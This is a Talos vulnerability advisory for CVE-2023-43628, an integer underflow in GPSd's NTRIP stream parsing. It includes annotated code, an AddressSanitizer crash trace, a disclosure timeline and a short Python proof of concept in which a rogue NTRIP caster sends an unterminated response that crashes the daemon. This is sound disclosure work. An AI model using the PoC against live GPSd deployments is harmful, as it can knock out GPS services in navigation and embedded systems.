Talos Vulnerability Report

TALOS-2023-1860

GPSd NTRIP Stream Parsing access violation vulnerability

December 5, 2023
CVE Number

CVE-2023-43628

SUMMARY

An integer underflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

GPSd 3.25.1~dev

PRODUCT URLS

GPSd - https://gpsd.gitlab.io/gpsd/

CVSSv3 SCORE

5.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-191 - Integer Underflow (Wrap or Wraparound)

DETAILS

GPSd is a daemon used for monitoring, collecting and reporting GPS information to clients. In a typical configuration, the GPS data are provided by a serial device connected to the host machine. However, GPSd also supports aggregating GPS data from network sources. It is extensively used in Android as well as embedded systems such as drones, robot submarines, driverless cars, marine navigation and military systems.

GPSd can act as a client that gets GPS information from the network using the NTRIP protocol. As specified in the NTRIP documentation, the NTRIP client does an HTTP request to the NTRIP caster (as per NTRIP documentation) expecting a source table as a response. The source table defines a list of records describing the data provided:

SOURCETABLE 200 OK
Content-Type: text/plain
Content-Length: 6999 
STR;FFMJ2;Frankfurt;RTCM 2.1;1(1),3(19),16(59);0;GPS;GREF;DEU;50.12;8.68;0;1;GPSNet V2.10;none;N;N;560;Demo 
ENDSOURCETABLE

In the example above, a stream record is defined under the FFMJ2 path, where the NTRIP client is expected to perform a standard HTTP request to get specific GPS data.

GPSd, acting as an NTRIP client, uses the following code to parse the response from the caster.

#define NTRIP_BR                "\r\n"

int ntrip_stream_get_parse(struct gps_device_t *device)
{
	    ...
    while (1) {
        lexer_getline(lexer);                                   [1]
		          ...
        if ('\0' == *lexer->outbuffer) {
            // done, never got end of headers.
            break;
        }
		
        if (0 == strncmp(obuf, NTRIP_BR, sizeof(NTRIP_BR))) {   [2]
            // done
            break;
        }
    }
    ...
} The code performs a loop, getting one line from the response until there is a NULL byte or the delimiter `\r\n` is found at (2), denoting the main body of the response. To get one line, the `lexer_getline()` is used at [1] above.

static void lexer_getline(struct gps_lexer_t *lexer)
{
	unsigned i;
	
    for (i = 0; i < sizeof(lexer->outbuffer) - 2; i++) {
        unsigned char u = *lexer->inbufptr++;

        lexer->outbuffer[i] = u;
        lexer->inbuflen--;                                   [3]

        if ('\0' == u) {
            // found NUL
            break;
        }
        if ('\n' == u) {
            // found return
            i++;
            break;
        }

        if (0 == lexer->inbuflen) {                          [4]
            // nothing left to read,  ending not found
            i++;
            break;
        }
    }
}

In lexer_getline(), the code parses a line from one character at a time, looking for either a NULL byte or the \n character. In each iteration, the lexer->inbuflen variable is decremented at [3]. At [4], when the lexer->inbuflen is 0, the loop exits, denoting that there are no other characters to parse in that line, assuming no NULL bytes or \n characters are found in the line.

Recall however that the code continues to execute in the outer loop, searching for the the \r\n characters at [2]. If the characters are not found, the loop continues, executing lexer_getline() once again. Then at [3], the lexer->inbuflen is decremented once again, leading to an integer underflow.

Later, since the lexer->inbuflen is now 0xffffffffffffffff, the code believes there are leftover characters in the buffer and attempts to do a memmove() using lexer->inbuflen as the size argument. This could lead to memory corruption.

...
if (0 == lexer->inbuflen) {
	packet_reset(lexer);
} else {
	// The "leftover" is the start of the first chunk.
	if (lexer->inbufptr != lexer->inbuffer) {
		// Shift inbufptr to the start.  Yes, a bit brutal.
		memmove(lexer->inbuffer, lexer->inbufptr, lexer->inbuflen);       [5]
		lexer->inbufptr = lexer->inbuffer;
	}
}

Crash Information

==470012==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0x55e609056090 in __asan_memmove (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
#1 0x55e6091b8631 in ntrip_stream_get_parse /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:791:13
#2 0x55e6091baf02 in ntrip_open /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:1124:15
#3 0x55e6091b0c6d in gpsd_multipoll /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/libgpsd_core.c:1978:19
#4 0x55e60909b0d6 in main /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:2855:29
#5 0x7f3ab3269d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7f3ab3269e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#7 0x55e608fbb8a4 in _start (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x878a4) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)

0x55e609da436a is located 29450 bytes inside of global variable 'devices' defined in '/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:315' (0x55e609d9d060) of size 730512
SUMMARY: AddressSanitizer: negative-size-param (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497) in __asan_memmove

Exploit Proof of Concept

As a PoC, we act as a very simple NTRIP caster, functionally the same as an HTTP server. On a GET request on the root we send a source table with one record, indicating that we provide NTRIP stream data under the TEST path. When GPSd does a request on this specific path, we send a standard HTTP response that is not properly terminated as GPSd expects, resulting in a crash.

    r = s.recv(128)
    print(f"[+] Got request '{r[:16]}', ...")

    if len(r) == 0:
        return

    if r.startswith(b"GET / HTTP/1.1"):
        print("[+] Sending NTRIP sourcetable")

        s.sendall(b"Content-Type: gnss/sourcetable\r\n")
        s.sendall(b"\r\n")
        s.sendall(b"\r\n")
        s.sendall(b"SOURCETABLE\r\n")
        s.sendall(b"\r\n")
        s.sendall(b"STR;TEST;City;CMR+;\r\n")
        s.sendall(b"ENDSOURCETABLE\r\n")

    elif r.startswith(b"GET /TEST HTTP/1.1"):
        print("[+] Got stream data request ...")

        s.sendall(b"HTTP/1.1 200 OK\r\n")
TIMELINE

2023-11-22 - Initial Vendor Contact
2023-11-23 - Vendor Disclosure
2023-11-29 - Vendor Patch Release
2023-12-05 - Public Release

Credit

Discovered by Dimitrios Tatsis of Cisco Talos.